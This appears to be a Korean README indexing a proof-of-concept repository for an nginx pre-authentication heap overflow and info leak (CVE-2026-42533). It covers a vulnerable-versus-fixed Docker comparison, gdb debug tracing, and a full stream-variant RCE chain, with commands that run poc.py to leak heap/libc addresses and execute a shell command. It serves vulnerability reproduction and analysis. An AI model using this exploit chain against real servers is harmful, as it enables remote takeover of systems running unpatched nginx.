
nginx 힙 오버플로 및 정보 유출(CVE-2026-42533)에 대한 개념 증명 재현으로, 두 가지 공격 표면, 디버그 분석, 그리고 완전한 RCE 체인을 포함합니다.
nginx(0.9.6–1.30.3 / mainline ≤1.31.2) 복합 값 스크립트 엔진의 사전 인증 힙 오버플로 + 정보 유출; CVSS 9.2. 동일한 근본 원인에 두 가지 트리거 표면이 있습니다: HTTP(regex location + regex map)와 stream(ssl_preread + SNI + regex map).
심층 기술 분석 및 정오표는 ANALYSIS.md를 참조하세요.
.
├── ANALYSIS.md # 심층 분석(근본 원인 / two-pass 실행 / 동적 증거 / RCE 체인 + 정오표)
├── README.md # 본 파일(색인)
├── http/ # ① HTTP 변형 블랙박스 재현(classmethod 트리거 표면)
│ ├── nginx.conf # 취약 설정(regex location + regex map)
│ ├── docker-compose.yml # nginx:1.30.3(vuln,:8081) vs 1.30.4(fixed,:8082)
│ ├── test.sh # clobber / overflow / leak 세 방향 테스트
│ └── repro.py # PoC, 유출된 힙 포인터/잔여 데이터 자동 추출
├── debug/ # ② HTTP 변형 debug 빌드 + pwndbg/gdb 동적 분석
│ ├── Dockerfile(.buster) / docker-compose.yml(.buster) / nginx.debug.conf
│ ├── gdb.py # two-pass 실행 추적 + LEN/VALUE 불일치 경고(핵심)
│ ├── attach.sh / extract-symbols.sh / trace_one.sh
│ ├── recon/ # 힙 레이아웃 정찰 스크립트(recon.py / recon2/4/5.py)
│ └── README.md # 자세한 내용은 해당 디렉터리 참조
└── stream-rift/ # ③ stream 변형 전체 RCE 체인(echo pwned 재현됨)
├── Dockerfile / docker-compose.yml / nginx.conf / server.py / entrypoint.sh
├── poc.py # 전체 체인(유출→스프레이→위조 pool→system), 기술은 공개 디스클로저에서 가져옴
└── README.md # 출처 표시 + 실행 방법
debug/src,debug/symbols*,debug/logs*는extract-symbols.sh로 생성되며(DWARF 바이너리 + 소스 트리), 이미.gitignore에 포함되어 있고 재생성할 수 있습니다.
cd http
docker compose up -d # 1.30.3(vuln) + 1.30.4(fixed)
./test.sh # 세 방향 비교
python3 repro.py --vuln http://localhost:8081 --fixed http://localhost:8082 # 유출 분석
cd debug
docker compose build && docker compose up -d # debug 빌드(--with-debug + DWARF)
./extract-symbols.sh # 바이너리+소스를 로컬로 가져와 gdb에서 사용
./attach.sh # gdbserver로 worker에 부착(:2333)
gdb -x gdb.py # pwndbg 로드; c 실행 후 호스트에서 요청 전송
자세한 내용은 debug/README.md를 참조하세요.
echo pwned > /tmp/pwn)cd stream-rift
docker compose build && docker compose up -d # nginx 1.31.1 (jammy/glibc2.35)
python3 poc.py --host 127.0.0.1 --port 29443 --leak # heap/libc/system 유출
python3 poc.py --host 127.0.0.1 --port 29443 --cmd 'echo pwned > /tmp/pwn'
docker compose exec nginx-rce cat /tmp/pwn # → pwned(소유자 nobody = worker)
기술 출처는 공개 디스클로저 DepthFirstDisclosures/Nginx-Rift입니다; 자세한 내용은 stream-rift/README.md를 참조하세요.
| 영향 | HTTP 변형 | stream 변형 |
|---|---|---|
| 정보 유출(heap/PIE + 잔여 데이터) | ✅ 안정적 | ✅ 안정적 |
| DoS(worker abort) | ✅ 안정적 | ✅ 안정적 |
| 임의 코드 실행 | ❌ 공개 PoC 없음(독자적 엔지니어링) | ✅ 재현됨(stream-rift/) |
stream 전체 체인은 최신 glibc 2.35에서 성립합니다(완화(softening) 불필요): cleanup 디스패치가 ngx_destroy_pool의 free()보다 먼저 발생하고, system()이 abort보다 먼저 실행됩니다. 신뢰성은 "부분적"(힙 풍수, 단발 약 1–2회 적중, 재시도 필요); 오프셋은 해당 빌드에 고정(pinned)되어 있습니다.
Docker + Compose; 로컬 gdb(+ pwndbg, 평소 방식대로 로드); pip install requests(http/repro.py).